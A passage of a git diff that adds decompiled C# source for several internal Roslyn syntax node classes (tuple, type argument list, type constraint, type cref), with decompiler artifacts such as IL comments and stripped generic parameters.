SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (identifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + } + + internal TupleElementSyntax(SyntaxKind kind, TypeSyntax type, SyntaxToken? identifier) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (identifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => type, + 1 => identifier, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.TupleElementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTupleElement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTupleElement(this); + } + + public TupleElementSyntax Update(TypeSyntax type, SyntaxToken identifier) + { + if (type != Type || identifier != Identifier) + { + TupleElementSyntax tupleElementSyntax = SyntaxFactory.TupleElement(type, identifier); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + tupleElementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(tupleElementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + tupleElementSyntax = GreenNodeExtensions.WithAnnotationsGreen(tupleElementSyntax, (IEnumerable)annotations); + } + return tupleElementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new TupleElementSyntax(base.Kind, type, identifier, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new TupleElementSyntax(base.Kind, type, identifier, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal TupleElementSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + if (syntaxToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + identifier = syntaxToken; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)identifier); + } + + static TupleElementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(TupleElementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new TupleElementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TupleExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TupleExpressionSyntax.cs new file mode 100644 index 0000000..2674258 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TupleExpressionSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class TupleExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken openParenToken; + + internal readonly GreenNode? arguments; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken OpenParenToken => openParenToken; + + public SeparatedSyntaxList Arguments => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(arguments))); + + public SyntaxToken CloseParenToken => closeParenToken; + + internal TupleExpressionSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? arguments, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal TupleExpressionSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? arguments, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal TupleExpressionSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? arguments, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openParenToken, + 1 => arguments, + 2 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.TupleExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTupleExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTupleExpression(this); + } + + public TupleExpressionSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken == OpenParenToken) + { + SeparatedSyntaxList val = Arguments; + if (!((ref arguments) != (ref val)) && closeParenToken == CloseParenToken) + { + return this; + } + } + TupleExpressionSyntax tupleExpressionSyntax = SyntaxFactory.TupleExpression(openParenToken, arguments, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + tupleExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(tupleExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + tupleExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(tupleExpressionSyntax, (IEnumerable)annotations); + } + return tupleExpressionSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new TupleExpressionSyntax(base.Kind, openParenToken, arguments, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new TupleExpressionSyntax(base.Kind, openParenToken, arguments, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal TupleExpressionSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openParenToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + arguments = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeParenToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)arguments); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static TupleExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(TupleExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new TupleExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TupleTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TupleTypeSyntax.cs new file mode 100644 index 0000000..434597e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TupleTypeSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class TupleTypeSyntax : TypeSyntax +{ + internal readonly SyntaxToken openParenToken; + + internal readonly GreenNode? elements; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken OpenParenToken => openParenToken; + + public SeparatedSyntaxList Elements => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(elements))); + + public SyntaxToken CloseParenToken => closeParenToken; + + internal TupleTypeSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? elements, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (elements != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(elements); + this.elements = elements; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal TupleTypeSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? elements, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (elements != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(elements); + this.elements = elements; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal TupleTypeSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? elements, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (elements != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(elements); + this.elements = elements; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openParenToken, + 1 => elements, + 2 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.TupleTypeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTupleType(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTupleType(this); + } + + public TupleTypeSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList elements, SyntaxToken closeParenToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken == OpenParenToken) + { + SeparatedSyntaxList val = Elements; + if (!((ref elements) != (ref val)) && closeParenToken == CloseParenToken) + { + return this; + } + } + TupleTypeSyntax tupleTypeSyntax = SyntaxFactory.TupleType(openParenToken, elements, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + tupleTypeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(tupleTypeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + tupleTypeSyntax = GreenNodeExtensions.WithAnnotationsGreen(tupleTypeSyntax, (IEnumerable)annotations); + } + return tupleTypeSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new TupleTypeSyntax(base.Kind, openParenToken, elements, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new TupleTypeSyntax(base.Kind, openParenToken, elements, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal TupleTypeSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openParenToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + elements = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeParenToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)elements); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static TupleTypeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(TupleTypeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new TupleTypeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeArgumentListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeArgumentListSyntax.cs new file mode 100644 index 0000000..ebf23e5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeArgumentListSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class TypeArgumentListSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken lessThanToken; + + internal readonly GreenNode? arguments; + + internal readonly SyntaxToken greaterThanToken; + + public SyntaxToken LessThanToken => lessThanToken; + + public SeparatedSyntaxList Arguments => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(arguments))); + + public SyntaxToken GreaterThanToken => greaterThanToken; + + internal TypeArgumentListSyntax(SyntaxKind kind, SyntaxToken lessThanToken, GreenNode? arguments, SyntaxToken greaterThanToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal TypeArgumentListSyntax(SyntaxKind kind, SyntaxToken lessThanToken, GreenNode? arguments, SyntaxToken greaterThanToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal TypeArgumentListSyntax(SyntaxKind kind, SyntaxToken lessThanToken, GreenNode? arguments, SyntaxToken greaterThanToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => lessThanToken, + 1 => arguments, + 2 => greaterThanToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.TypeArgumentListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeArgumentList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeArgumentList(this); + } + + public TypeArgumentListSyntax Update(SyntaxToken lessThanToken, SeparatedSyntaxList arguments, SyntaxToken greaterThanToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken == LessThanToken) + { + SeparatedSyntaxList val = Arguments; + if (!((ref arguments) != (ref val)) && greaterThanToken == GreaterThanToken) + { + return this; + } + } + TypeArgumentListSyntax typeArgumentListSyntax = SyntaxFactory.TypeArgumentList(lessThanToken, arguments, greaterThanToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + typeArgumentListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(typeArgumentListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + typeArgumentListSyntax = GreenNodeExtensions.WithAnnotationsGreen(typeArgumentListSyntax, (IEnumerable)annotations); + } + return typeArgumentListSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new TypeArgumentListSyntax(base.Kind, lessThanToken, arguments, greaterThanToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new TypeArgumentListSyntax(base.Kind, lessThanToken, arguments, greaterThanToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal TypeArgumentListSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + lessThanToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + arguments = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + greaterThanToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)lessThanToken); + writer.WriteValue((IObjectWritable)(object)arguments); + writer.WriteValue((IObjectWritable)(object)greaterThanToken); + } + + static TypeArgumentListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(TypeArgumentListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new TypeArgumentListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeConstraintSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeConstraintSyntax.cs new file mode 100644 index 0000000..2c3a0a3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeConstraintSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class TypeConstraintSyntax : TypeParameterConstraintSyntax +{ + internal readonly TypeSyntax type; + + public TypeSyntax Type => type; + + internal TypeConstraintSyntax(SyntaxKind kind, TypeSyntax type, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal TypeConstraintSyntax(SyntaxKind kind, TypeSyntax type, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal TypeConstraintSyntax(SyntaxKind kind, TypeSyntax type) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)type; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.TypeConstraintSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeConstraint(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeConstraint(this); + } + + public TypeConstraintSyntax Update(TypeSyntax type) + { + if (type != Type) + { + TypeConstraintSyntax typeConstraintSyntax = SyntaxFactory.TypeConstraint(type); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + typeConstraintSyntax = GreenNodeExtensions.WithDiagnosticsGreen(typeConstraintSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + typeConstraintSyntax = GreenNodeExtensions.WithAnnotationsGreen(typeConstraintSyntax, (IEnumerable)annotations); + } + return typeConstraintSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new TypeConstraintSyntax(base.Kind, type, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new TypeConstraintSyntax(base.Kind, type, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal TypeConstraintSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)type); + } + + static TypeConstraintSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(TypeConstraintSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new TypeConstraintSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeCrefSyntax.cs new file mode 100644 index 0000000..7cc419a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeCrefSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class TypeCrefSyntax : CrefSyntax +{ + internal readonly TypeSyntax type; + + public TypeSyntax Type => type; + + internal TypeCrefSyntax(SyntaxKind kind, TypeSyntax type, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal TypeCrefSyntax(SyntaxKind kind, TypeSyntax type, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal TypeCrefSyntax(SyntaxKind kind, TypeSyntax type) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)type; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.TypeCrefSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeCref(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeCref(this); + } + + public TypeCrefSyntax Update(TypeSyntax type) + { + if (type != Type) + { + TypeCrefSyntax typeCrefSyntax = SyntaxFactory.TypeCref(type); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + typeCrefSyntax = GreenNodeExtensions.WithDiagnosticsGreen(typeCrefSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + typeCrefSyntax = GreenNodeExtensions.WithAnnotationsGreen(typeCrefSyntax, (IEnumerable)annotations); + } + return typeCrefSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new TypeCrefSyntax(base.Kind, type, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new TypeCrefSyntax(base.Kind, type, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal TypeCrefSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)type); + } + + static TypeCrefSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(TypeCrefSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new TypeCrefSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeDeclarationSyntax.cs new file mode 100644 index 0000000..f4e633f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeDeclarationSyntax.cs @@ -0,0 +1,32 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class TypeDeclarationSyntax : BaseTypeDeclarationSyntax +{ + public abstract SyntaxToken Keyword { get; } + + public abstract TypeParameterListSyntax? TypeParameterList { get; } + + public abstract ParameterListSyntax? ParameterList { get; } + + public abstract SyntaxList ConstraintClauses { get; } + + public abstract SyntaxList Members { get; } + + internal TypeDeclarationSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? 